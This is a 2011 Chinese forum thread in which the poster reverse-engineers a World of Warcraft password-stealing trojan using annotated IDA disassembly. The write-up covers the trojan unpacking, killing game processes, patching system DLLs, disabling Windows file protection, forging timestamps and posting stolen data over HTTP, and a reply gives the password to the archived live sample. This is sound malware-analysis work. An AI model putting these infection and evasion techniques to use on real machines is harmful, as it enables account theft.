cyane 发表于 2011-7-14 21:10

一个游戏木马分析

本帖最后由 cyane 于 2011-7-14 21:11 编辑

初次分析木马,分析不到的地方,还请不要笑话,若有更好的分析,望大家不吝赐教~
压缩包内文件 virus.exe 为木马文件,请大家注意

Hmily 发表于 2011-7-15 18:56

肿么不贴解压密码哦?

解压密码:52pojie

*******************************************************************************************************************
在这里说明一下,这是第三次分析。因为工作原因,在外面网吧进行的分析,第一次很惨,分析到一大半了,系统更新,结果我点了
个重新启动,结果才发现这系统有DOL魔盘,自动恢复到原来状态了,所有的都没了,第二次还好,保存了部分,结果停电了,无语。
我是第一次分析木马,不知道怎么分析,也就大体看了下别人的分析文章,所以分析不清晰的地方,请凑合看吧。都是OD IDA来分析
,开始想还原成C代码,后来发现很可笑,VM都没搞定呢,再学习学习或许可能有所提高吧。
*******************************************************************************************************************

====================================================================================================================
UPX的壳,很简单
0041DFE3- E9 A848FEFF   jmp   00402890
在此地址直接F4,然后F8单步,就到了OEP,DUMP保存为virus2.exe即可。
====================================================================================================================

//主文件virus2.exe分析
.text:00402890               sub   esp, 0C24h
.text:00402896               push    ebx
.text:00402897               push    ebp
.text:00402898               push    esi
.text:00402899               push    edi
.text:0040289A               push    offset aBigfoot_exe ; "BigFoot.exe"
.text:0040289F               call    sub_4011A0                                ;检查进程BigFoot.exe是否存在
.text:004028A4               mov   edi, ds:TerminateProcess
.text:004028AA               mov   ebp, ds:OpenProcess
.text:004028B0               mov   esi, eax
.text:004028B2               xor   ebx, ebx
.text:004028B4               add   esp, 4
.text:004028B7               cmp   esi, ebx                                       
.text:004028B9               jbe   short loc_4028D0
.text:004028BB               push    7D0h            ; dwMilliseconds
.text:004028C0               call    ds:Sleep
.text:004028C6               push    ebx             ; uExitCode
.text:004028C7               push    esi             ; dwProcessId
.text:004028C8               push    ebx             ; bInheritHandle
.text:004028C9               push    1               ; dwDesiredAccess
.text:004028CB               call    ebp ; OpenProcess                        ;打开进程对象
.text:004028CD               push    eax             ; hProcess
.text:004028CE               call    edi ; TerminateProcess                        ;关闭进程
.text:004028D0
.text:004028D0 loc_4028D0:                           ; CODE XREF: start+29j
.text:004028D0               push    offset aWow_exe ; "wow.exe"
.text:004028D5               call    sub_4011A0                                ;检查进程wow.exe是否存在
.text:004028DA               mov   esi, eax
.text:004028DC               add   esp, 4
.text:004028DF               cmp   esi, ebx
.text:004028E1               jbe   short loc_40290B
.text:004028E3               push    1388h         ; dwMilliseconds
.text:004028E8               call    ds:Sleep
.text:004028EE
.text:004028EE loc_4028EE:                           ; CODE XREF: start+79j
.text:004028EE               push    ebx             ; uExitCode
.text:004028EF               push    esi             ; dwProcessId
.text:004028F0               push    ebx             ; bInheritHandle
.text:004028F1               push    1               ; dwDesiredAccess
.text:004028F3               call    ebp ; OpenProcess                        ;打开进程对象
.text:004028F5               push    eax             ; hProcess
.text:004028F6               call    edi ; TerminateProcess                        ;关闭进程
.text:004028F8               push    offset aWow_exe ; "wow.exe"
.text:004028FD               call    sub_4011A0
.text:00402902               mov   esi, eax
.text:00402904               add   esp, 4
.text:00402907               cmp   esi, ebx
.text:00402909               ja      short loc_4028EE
.text:0040290B
.text:0040290B loc_40290B:                           ; CODE XREF: start+51j
.text:0040290B               push    0BB8h         ; dwMilliseconds
.text:00402910               call    ds:Sleep
.text:00402916               mov   ebp, ds:GetSystemDirectoryA
.text:0040291C               lea   eax,
.text:00402923               push    104h            ; uSize
.text:00402928               push    eax             ; lpBuffer
.text:00402929               call    ebp ; GetSystemDirectoryA                ;获取系统路径
.text:0040292B               mov   esi, ds:lstrcat
.text:00402931               lea   ecx,
.text:00402938               push    offset a1016_ocx ; "\\1016.ocx"
.text:0040293D               push    ecx
.text:0040293E               call    esi ; lstrcat
.text:00402940               call    ds:GetTickCount                                ;获取时间t
.text:00402946               xor   edx, edx
.text:00402948               add   eax, 1000000h                                ;t=t+0x1000000
.text:0040294D               mov   , edx
.text:00402951               push    eax
.text:00402952               mov   , edx
.text:00402956               lea   eax,
.text:0040295A               mov   dword ptr , edx
.text:0040295E               push    offset asc_404168 ; "%x"
.text:00402963               mov   , edx
.text:00402967               push    eax             ; Dest
.text:00402968               mov   , dx
.text:0040296D               mov   , bl
.text:00402971               mov   , dl
.text:00402975               call    ds:sprintf
.text:0040297B               add   esp, 0Ch
.text:0040297E               lea   ecx,
.text:00402982               push    offset aWuozwtmp_dat ; "wuozwtmp.dat"       
.text:00402987               push    ecx
.text:00402988               call    esi ; lstrcat                                ;改变文件名FILE为HEX(t)+"wuozwtmp.dat"
.text:0040298A               mov   ecx, 40h
.text:0040298F               xor   eax, eax
.text:00402991               lea   edi,
.text:00402995               mov   , bl
.text:00402999               rep stosd
.text:0040299B               stosw
.text:0040299D               lea   edx,
.text:004029A1               push    edx             ; lpBuffer
.text:004029A2               push    104h            ; nBufferLength
.text:004029A7               stosb
.text:004029A8               call    ds:GetTempPathA
.text:004029AE               lea   eax,
.text:004029B2               lea   ecx,
.text:004029B6               push    eax
.text:004029B7               push    ecx
.text:004029B8               call    esi ; lstrcat
.text:004029BA               lea   edx,
.text:004029BE               push    1               ; dwFlags
.text:004029C0               lea   eax,
.text:004029C7               push    edx             ; lpNewFileName
.text:004029C8               push    eax             ; lpExistingFileName
.text:004029C9               call    ds:MoveFileExA                                ;创建临时文件FILE
.text:004029CF               lea   ecx,
.text:004029D6               push    ecx             ; lpFileName
.text:004029D7               push    6Ch             ; int
.text:004029D9               call    sub_401000                                ;创建X:\WINDOWS\System32\1016.ocx
.text:004029DE               add   esp, 8
.text:004029E1               test    eax, eax
.text:004029E3               jz      loc_402B5C
.text:004029E9               push    offset aWinwcolw_ocx ; "WinWcolw.ocx"
.text:004029EE               push    offset dword_404194
.text:004029F3               call    ds:lstrcpy
.text:004029F9               mov   ecx, 100h
.text:004029FE               xor   eax, eax
.text:00402A00               lea   edi,
.text:00402A07               lea   edx,
.text:00402A0E               push    104h            ; uSize
.text:00402A13               push    edx             ; lpBuffer
.text:00402A14               rep stosd
.text:00402A16               call    ebp ; GetSystemDirectoryA
.text:00402A18               lea   eax,
.text:00402A1F               push    offset asc_404090 ; "\\"
.text:00402A24               push    eax
.text:00402A25               call    esi ; lstrcat
.text:00402A27               lea   ecx,
.text:00402A2E               push    offset dword_404194
.text:00402A33               push    ecx
.text:00402A34               call    esi ; lstrcat
.text:00402A36               lea   edx,
.text:00402A3D               push    edx             ; lpFileName
.text:00402A3E               push    6Ah             ; int
.text:00402A40               call    sub_401000                                ;创建X:\WINDOWS\System32\WinWcolw.ocx
.text:00402A45               add   esp, 8
.text:00402A48               test    eax, eax
.text:00402A4A               jz      loc_402B5C
.text:00402A50               lea   eax,
.text:00402A57               push    eax             ; lpFileName
.text:00402A58               call    sub_4010D0                               
//;插入数据到X:\WINDOWS\System32\WinWcolw.ocx
.text:00402A5D               add   esp, 4
.text:00402A60               call    sub_402670

//进入CALL 402670主要有两部分函数体
//以dsound.dll为例说明
//第一部分CALL 401600、CALL 401DC0,功能如下
/*
读取X:\WINDOWS\System32\dsound.dll前64字节 就是文件头
移动指针FILE_BEGIN 272位置,读取4个字节
移动指针FILE_BEGIN 236位置,读取20个字节
移动指针FILE_BEGIN 480位置,读取40个字节,
循环读取区段信息,循环比较区段名称没有.data2返回0,否则返回1
将X:\WINDOWS\System32\dsound.dll拷贝到X:\WINDOWS\System32\New.dll
打开X:\WINDOWS\System32\dsound.dll
移动指针FILE_BEGIN 60位置,读取4个字节
移动指针FILE_BEGIN 232位置,读取248个字节
移动指针FILE_BEGIN 480位置,读取248个字节
循环读取区段信息
打开X:\WINDOWS\System32\New.dll
移动指针FILE_END 0位置,写入52个字节
依次写入几个字节,然后写入0x1000~0x1028 40个数据信息
移动指针FILE_BEGIN 640位置,写入40个字节,就是.data2的区段信息
移动指针FILE_BEGIN 232位置,写入248个字节
移动指针FILE_END 0位置,写入1个字节,就是标志1
创建文件X:\WINDOWS\System32\dsound.dll.x
装载库文件sfc_os.dll并调用其5号函数,用以解除系统文件保护功能,然后释放
将X:\WINDOWS\System32\dsound.dll拷贝为X:\WINDOWS\System32\dsound.dll.x
将X:\WINDOWS\System32\New.dll拷贝为X:\WINDOWS\System32\dsound.dll,来做了个替换
再替换X:\WINDOWS\System32\dsound.dll文件的创建时间、最后修改时间、最后访问时间
*/
//第二部分CALL 4017B0、CALL 401960功能基本与第一部分相同,差异在CALL 401960中有对IMAGE_DOS_HEADER头的检测
//还有ddraw.dll、comres.dll、ksuser.dll、olepro32.dll与上部分处理时相同的,故这里不再复数

.text:00402A65               lea   ecx,
.text:00402A6C               push    104h            ; uSize
.text:00402A71               push    ecx             ; lpBuffer
.text:00402A72               call    ebp ; GetSystemDirectoryA
.text:00402A74               lea   edx,
.text:00402A7B               push    offset aFont01_dll ; "\\font01.dll"
.text:00402A80               push    edx
.text:00402A81               call    esi ; lstrcat
.text:00402A83               lea   eax,
.text:00402A8A               push    eax             ; lpFileName
.text:00402A8B               push    6Eh             ; int
.text:00402A8D               call    sub_401000                                ;创建X:\WINDOWS\System32\       
.text:00402A92               add   esp, 8
.text:00402A95               test    eax, eax
.text:00402A97               jz      loc_402B5C
.text:00402A9D               mov   ecx, 40h
.text:00402AA2               xor   eax, eax
.text:00402AA4               lea   edi,
.text:00402AAB               mov   , bl
.text:00402AB2               rep stosd
.text:00402AB4               stosw
.text:00402AB6               lea   ecx,
.text:00402ABD               push    104h            ; uSize
.text:00402AC2               push    ecx             ; lpBuffer
.text:00402AC3               stosb
.text:00402AC4               call    ebp ; GetSystemDirectoryA
.text:00402AC6               lea   edx,
.text:00402ACD               push    offset aRundll32_exe ; "\\rundll32.exe"
.text:00402AD2               push    edx
.text:00402AD3               call    esi ; lstrcat
.text:00402AD5               mov   ecx, 40h
.text:00402ADA               xor   eax, eax
.text:00402ADC               lea   edi,
.text:00402AE3               mov   , bl
.text:00402AEA               rep stosd
.text:00402AEC               stosw
.text:00402AEE               stosb
.text:00402AEF               lea   eax,
.text:00402AF6               push    104h            ; nSize
.text:00402AFB               push    eax             ; lpFilename
.text:00402AFC               push    ebx             ; hModule
.text:00402AFD               call    ds:GetModuleFileNameA
.text:00402B03               mov   ecx, 40h
.text:00402B08               xor   eax, eax
.text:00402B0A               lea   edi,
.text:00402B11               mov   , bl
.text:00402B18               rep stosd
.text:00402B1A               stosw
.text:00402B1C               push    offset aFuck121 ; "fuck121"
.text:00402B21               lea   ecx,
.text:00402B28               push    offset aCheckime ; "CheckIME"
.text:00402B2D               lea   edx,
.text:00402B34               stosb
.text:00402B35               push    ecx
.text:00402B36               push    edx
.text:00402B37               lea   eax,
.text:00402B3E               push    offset aCmdCSSSS ; "cmd /c %s %s,%s %s"
.text:00402B43               push    eax             ; LPSTR
.text:00402B44               call    ds:wsprintfA               
               
//生成命令行"cmd /c C:\WINDOWS\system32\rundll32.exe C:\WINDOWS\system32\font01.dll,CheckIME fuck121

.text:00402B4A               add   esp, 18h
.text:00402B4D               lea   ecx,
.text:00402B54               push    ebx             ; uCmdShow
.text:00402B55               push    ecx             ; lpCmdLine
.text:00402B56               call    ds:WinExec                                ;执行命令行
.text:00402B5C       
.text:00402B5C loc_402B5C:                           ; CODE XREF: start+153j
.text:00402B5C                                       ; start+1BAj ...
.text:00402B5C               call    sub_401230                                ;创建临时文件wowhm01.bat,并执行
.text:00402B61               pop   edi
.text:00402B62               pop   esi
.text:00402B63               pop   ebp
.text:00402B64               xor   eax, eax
.text:00402B66               pop   ebx
.text:00402B67               add   esp, 0C24h
.text:00402B6D               retn    10h
.text:00402B6D start         endp

=================================================--1016.ocx分析=====================================================

//1016.ocx分析
.text:10001530
.text:10001530               sub   esp, 814h
.text:10001536               lea   eax,
.text:1000153A               push    esi
.text:1000153B               push    800h            ; nSize
.text:10001540               push    eax             ; lpFilename
.text:10001541               push    0               ; hModule
.text:10001543               call    ds:GetModuleFileNameA                        ;获取当前文件完整路径
.text:10001549               lea   ecx,
.text:1000154D               lea   edx,
.text:10001551               push    ecx             ; lpString1
.text:10001552               push    edx             ; lpString
.text:10001553               call    sub_100014F0                                ;获取文件名
.text:10001558               mov   esi, ds:lstrcmpiA
.text:1000155E               add   esp, 8
.text:10001561               lea   eax,
.text:10001565               push    offset String2; "Wow.exe"
.text:1000156A               push    eax             ; lpString1
.text:1000156B               call    esi ; lstrcmpiA                                ;
.text:1000156D               test    eax, eax
.text:1000156F               jz      short loc_10001581
.text:10001571               lea   ecx,
.text:10001575               push    offset String2; "Wow.exe"
.text:1000157A               push    ecx             ; lpString1
.text:1000157B               call    esi ; lstrcmpiA                                ;比较是否是wow.exe
.text:1000157D               test    eax, eax
.text:1000157F               jnz   short loc_10001586
.text:10001581
.text:10001581 loc_10001581:                           ; CODE XREF: sub_10001530+3Fj
.text:10001581               call    sub_100015D0                                ;
.text:10001586
.text:10001586 loc_10001586:                           ; CODE XREF: sub_10001530+4Fj
.text:10001586               pop   esi
.text:10001587               add   esp, 814h
.text:1000158D               retn
.text:1000158D sub_10001530    endp

//分析一下CALL100015D0

.text:100015D0
.text:100015D0               sub   esp, 104h
.text:100015D6               push    ebx
.text:100015D7               push    ebp
.text:100015D8               push    esi
.text:100015D9               push    edi
.text:100015DA               mov   ecx, 40h
.text:100015DF               xor   eax, eax
.text:100015E1               lea   edi,
.text:100015E5               mov   , 0
.text:100015EA               rep stosd
.text:100015EC               stosw
.text:100015EE               stosb
.text:100015EF               mov   ecx, 41h
.text:100015F4               xor   eax, eax
.text:100015F6               lea   edi,
.text:100015FA               push    104h            ; uSize
.text:100015FF               rep stosd
.text:10001601               lea   eax,
.text:10001605               push    eax             ; lpBuffer
.text:10001606               call    ds:GetSystemDirectoryA
.text:1000160C               lea   ecx,
.text:10001610               push    offset aWinwcolw_ocx ; "\\WinWcolw.ocx"
.text:10001615               push    ecx             ; lpString1
.text:10001616               call    ds:lstrcatA
.text:1000161C               mov   ebp, ds:OutputDebugStringA               
.text:10001622               lea   edx,
.text:10001626               push    edx             ; lpOutputString
.text:10001627               call    ebp ; OutputDebugStringA                        ;得到X:\WINDOWS\System32\WinWcolw.ocx
.text:10001629               lea   eax,
.text:1000162D               push    offset Mode   ; "rb"
.text:10001632               push    eax             ; Filename
.text:10001633               call    ds:fopen
.text:10001639               mov   edi, ds:fseek
.text:1000163F               mov   esi, eax
.text:10001641               push    2               ; Origin
.text:10001643               push    0               ; Offset
.text:10001645               push    esi             ; File
.text:10001646               call    edi ; fseek
.text:10001648               push    esi             ; File
.text:10001649               call    ds:ftell
.text:1000164F               push    0               ; Origin
.text:10001651               push    0               ; Offset
.text:10001653               push    esi             ; File
.text:10001654               mov   ebx, eax
.text:10001656               call    edi ; fseek
.text:10001658               push    ebx             ; unsigned int
.text:10001659               call    ??2@YAPAXI@Z    ; operator new(uint)
.text:1000165E               add   esp, 28h
.text:10001661               mov   edi, eax
.text:10001663               test    esi, esi
.text:10001665               jz      short loc_100016C4
.text:10001667               push    esi             ; File
.text:10001668               push    ebx             ; Count
.text:10001669               push    1               ; ElementSize
.text:1000166B               push    edi             ; DstBuf
.text:1000166C               call    ds:fread                                        ;读取WinWcolw.ocx文件数据
.text:10001672               add   esp, 10h
.text:10001675               mov   ecx, offset unk_10003040
.text:1000167A               push    eax             ; flOldProtect
.text:1000167B               push    edi             ; int
.text:1000167C               call    sub_10001040       

//CALL 10001040分析
/*
CALL 100012F0->检查WinWcolw.ocx是否正常,大小、e_magic、e_lfanew等,正常返回1,否则返回0
CALL 100013D0->检查"PE",然后加载WinWcolw.ocx,加载成功返回1,否则返回0
伪C码
    if(NumberOfSections > 0)
        size = VirtualAddress+(VirtualSize > SizeOfRawData ? SizeOfRawData : VirtualSize)
    VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LoadLibrary(KERNEL32.dll)->加载函数
    VirtualFree
*/

.text:10001681               test    eax, eax
.text:10001683               jnz   short loc_100016A2
.text:10001685               push    edi             ; void *
.text:10001686               call    ??3@YAXPAX@Z    ; operator delete(void *)
.text:1000168B               add   esp, 4
.text:1000168E               push    offset OutputString ; "LOAD-FAIL!"       
.text:10001693               call    ebp ; OutputDebugStringA                        ;显示加载失败
.text:10001695               pop   edi
.text:10001696               pop   esi
.text:10001697               pop   ebp
.text:10001698               xor   eax, eax
.text:1000169A               pop   ebx
.text:1000169B               add   esp, 104h
.text:100016A1               retn
.text:100016A2 ; ---------------------------------------------------------------------------
.text:100016A2
.text:100016A2 loc_100016A2:                           ; CODE XREF: sub_100015D0+B3j
.text:100016A2               push    offset aLoadOkgb ; "LOAD-OK!"
.text:100016A7               call    ebp ; OutputDebugStringA                        ;显示加载成功
.text:100016A9               push    esi             ; File
.text:100016AA               call    ds:fclose                                ;关闭文件句柄
.text:100016B0               push    edi             ; void *
.text:100016B1               call    ??3@YAXPAX@Z    ; operator delete(void *)
.text:100016B6               add   esp, 8
.text:100016B9               pop   edi
.text:100016BA               pop   esi
.text:100016BB               pop   ebp
.text:100016BC               pop   ebx
.text:100016BD               add   esp, 104h
.text:100016C3               retn
.text:100016C4 ; ---------------------------------------------------------------------------
.text:100016C4
.text:100016C4 loc_100016C4:                           ; CODE XREF: sub_100015D0+95j
.text:100016C4               push    edi             ; void *
.text:100016C5               call    ??3@YAXPAX@Z    ; operator delete(void *)
.text:100016CA               add   esp, 4
.text:100016CD               or      eax, 0FFFFFFFFh
.text:100016D0               pop   edi
.text:100016D1               pop   esi
.text:100016D2               pop   ebp
.text:100016D3               pop   ebx
.text:100016D4               add   esp, 104h
.text:100016DA               retn
.text:100016DA sub_100015D0    endp

====================================================================================================================
===============================================WinWcolw.ocx分析=====================================================

.text:10007890               sub   esp, 838h
.text:10007896               lea   eax,
.text:1000789A               push    esi
.text:1000789B               push    edi
.text:1000789C               push    800h            ; nSize
.text:100078A1               push    eax             ; lpFilename
.text:100078A2               push    0               ; hModule
.text:100078A4               call    ds:GetModuleFileNameA                        ;获取程序完整路径
.text:100078AA               lea   ecx,
.text:100078AE               lea   edx,
.text:100078B2               push    ecx             ; lpString1
.text:100078B3               push    edx             ; lpString
.text:100078B4               call    sub_10007060                                ;获取程序名
.text:100078B9               mov   esi, ds:lstrcmpiA       
.text:100078BF               add   esp, 8
.text:100078C2               lea   eax,
.text:100078C6               push    offset aWow_exe ; "wow.exe"
.text:100078CB               push    eax             ; lpString1
.text:100078CC               call    esi ; lstrcmpiA                                ;是否是wow.exe
.text:100078CE               test    eax, eax
.text:100078D0               jnz   loc_100079B9
.text:100078D6               call    ds:GetCurrentProcessId                        ;获取pid
.text:100078DC               mov   edx, eax
.text:100078DE               mov   ecx, 8
.text:100078E3               xor   eax, eax
.text:100078E5               lea   edi,
.text:100078E9               rep stosd
.text:100078EB               push    edx
.text:100078EC               lea   ecx,
.text:100078F0               push    offset Format   ; "%x"
.text:100078F5               push    ecx             ; Dest
.text:100078F6               call    ds:sprintf
.text:100078FC               add   esp, 0Ch
.text:100078FF               lea   edx,
.text:10007903               push    offset aWow_exe ; "wow.exe"
.text:10007908               push    edx             ; lpString1
.text:10007909               call    ds:lstrcatA                                ;pid+wow.exe
.text:1000790F               lea   eax,
.text:10007913               push    eax             ; lpName
.text:10007914               push    0               ; bInitialOwner
.text:10007916               push    0               ; lpMutexAttributes
.text:10007918               call    ds:CreateMutexA                                ;创建互斥对象
.text:1000791E               mov   esi, eax
.text:10007920               call    sub_100072E0                                ;                       
.text:10007925               call    ds:GetLastError
.text:1000792B               cmp   eax, 0B7h
.text:10007930               jnz   short loc_10007942
.text:10007932               push    esi             ; hObject
.text:10007933               call    ds:CloseHandle
.text:10007939               pop   edi
.text:1000793A               pop   esi
.text:1000793B               add   esp, 838h
.text:10007941               retn
.text:10007942 ; ---------------------------------------------------------------------------
.text:10007942
.text:10007942 loc_10007942:                           ; CODE XREF: sub_10007890+A0j
.text:10007942               lea   ecx,
.text:10007946               push    offset byte_1000DB1C ; lpString1
.text:1000794B               push    ecx             ; lpString2
.text:1000794C               call    sub_100070A0
.text:10007951               add   esp, 8
.text:10007954               mov   esi, ds:CreateThread
.text:1000795A               lea   edx,
.text:1000795E               push    edx             ; lpThreadId
.text:1000795F               push    0               ; dwCreationFlags
.text:10007961               push    0               ; lpParameter
.text:10007963               push    offset sub_100073A0 ; lpStartAddress
.text:10007968               push    0               ; dwStackSize
.text:1000796A               push    0               ; lpThreadAttributes
.text:1000796C               call    esi ; CreateThread                        ;创建线程1
.text:1000796E               mov   edi, ds:CloseHandle
.text:10007974               push    eax             ; hObject
.text:10007975               call    edi ; CloseHandle
.text:10007977               push    0               ; lpThreadId
.text:10007979               push    0               ; dwCreationFlags
.text:1000797B               push    0               ; lpParameter
.text:1000797D               push    offset sub_10001AC0 ; lpStartAddress
.text:10007982               push    0               ; dwStackSize
.text:10007984               push    0               ; lpThreadAttributes
.text:10007986               call    esi ; CreateThread                        ;创建线程2
.text:10007988               push    0               ; lpThreadId
.text:1000798A               push    0               ; dwCreationFlags
.text:1000798C               push    0               ; lpParameter
.text:1000798E               push    offset sub_10006BD0 ; lpStartAddress
.text:10007993               push    0               ; dwStackSize
.text:10007995               push    0               ; lpThreadAttributes
.text:10007997               call    esi ; CreateThread                        ;创建线程3
.text:10007999               lea   eax,
.text:1000799D               push    eax             ; lpThreadId
.text:1000799E               push    0               ; dwCreationFlags
.text:100079A0               push    0               ; lpParameter
.text:100079A2               push    offset sub_10004240 ; lpStartAddress
.text:100079A7               push    0               ; dwStackSize
.text:100079A9               push    0               ; lpThreadAttributes
.text:100079AB               call    esi ; CreateThread                        ;创建线程4
.text:100079AD               push    eax             ; hObject
.text:100079AE               call    edi ; CloseHandle
.text:100079B0               pop   edi
.text:100079B1               pop   esi
.text:100079B2               add   esp, 838h
.text:100079B8               retn
.text:100079B9 ; ---------------------------------------------------------------------------
.text:100079B9
.text:100079B9 loc_100079B9:                           ; CODE XREF: sub_10007890+40j
.text:100079B9               lea   ecx,
.text:100079BD               push    offset aBigfoot_exe ; "BigFoot.exe"
.text:100079C2               push    ecx             ; lpString1
.text:100079C3               call    esi ; lstrcmpiA                                ;是否是BigFoot.exe       
.text:100079C5               test    eax, eax
.text:100079C7               jnz   loc_10007A50
.text:100079CD               call    ds:GetCurrentProcessId                        ;获取pid
.text:100079D3               mov   edx, eax
.text:100079D5               mov   ecx, 8
.text:100079DA               push    edx
.text:100079DB               xor   eax, eax
.text:100079DD               lea   edi,
.text:100079E1               lea   edx,
.text:100079E5               push    offset Format   ; "%x"
.text:100079EA               push    edx             ; Dest
.text:100079EB               rep stosd
.text:100079ED               call    ds:sprintf
.text:100079F3               add   esp, 0Ch
.text:100079F6               lea   eax,
.text:100079FA               push    offset aBigfoot_exe ; "BigFoot.exe"
.text:100079FF               push    eax             ; lpString1
.text:10007A00               call    ds:lstrcatA                                ;pid+BigFoot.exe
.text:10007A06               lea   ecx,
.text:10007A0A               push    ecx             ; lpName
.text:10007A0B               push    0               ; bInitialOwner
.text:10007A0D               push    0               ; lpMutexAttributes
.text:10007A0F               call    ds:CreateMutexA                                ;创建互斥对象
.text:10007A15               mov   esi, eax
.text:10007A17               call    sub_100072E0
.text:10007A1C               call    ds:GetLastError
.text:10007A22               cmp   eax, 0B7h
.text:10007A27               jnz   short loc_10007A39
.text:10007A29               push    esi             ; hObject
.text:10007A2A               call    ds:CloseHandle
.text:10007A30               pop   edi
.text:10007A31               pop   esi
.text:10007A32               add   esp, 838h
.text:10007A38               retn
.text:10007A39 ; ---------------------------------------------------------------------------
.text:10007A39
.text:10007A39 loc_10007A39:                           ; CODE XREF: sub_10007890+197j
.text:10007A39               lea   edx,
.text:10007A3D               push    offset byte_1000DB1C ; lpString1
.text:10007A42               push    edx             ; lpString2
.text:10007A43               call    sub_100070A0
.text:10007A48               add   esp, 8
.text:10007A4B               call    sub_100072F0                               
//读入验证数据进行判断,正确时,输出"BigFoot-ok",然后设置页面属性。
.text:10007A50
.text:10007A50 loc_10007A50:                           ; CODE XREF: sub_10007890+137j
.text:10007A50               pop   edi
.text:10007A51               pop   esi
.text:10007A52               add   esp, 838h
.text:10007A58               retn
.text:10007A58 sub_10007890    endp

第一个线程 设置页面属性,修改程序数据
第二个线程 处理网络数据POST操作
Wininet.dll
InternetOpenA
InternetOpenUrlA
InternetConnectA
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
InternetReadFile
InternetWriteFile
InternetQueryDataAvailable
InternetCloseHandle
第三个进程 处理网络数据POST操作
第四个进程VM过,水平有限,没有跟,跟也跟不出。
部分信息可参照网络的其他分析
http://www.shaduruanjian8.com/20110624_winwcolw-ocx
水平有限,就到此了~



Garrison 发表于 2011-7-15 20:08

学些学习

ai流星羽 发表于 2011-7-15 20:30

{:1_908:}怎么感觉往下拉都卡卡的- -

yqqpp 发表于 2011-7-15 20:39

我也是感觉拉浏览器都在卡

执著 发表于 2011-7-15 20:43

回复 cyane 的帖子

学习了

狐狸爱葡萄 发表于 2011-7-15 20:44

额,感谢分享,学习了……{:1_927:}

vistamm 发表于 2011-7-15 21:23

看一下这个游戏木马楼主分析

xiaoyedeng 发表于 2011-7-15 21:34

感谢分享,学习了

coolerhqw 发表于 2011-7-15 21:54

跟我完全不是同一个级数的,完全看不明。
页: [1] 2 3 4 5 6 7 8
查看完整版本: 一个游戏木马分析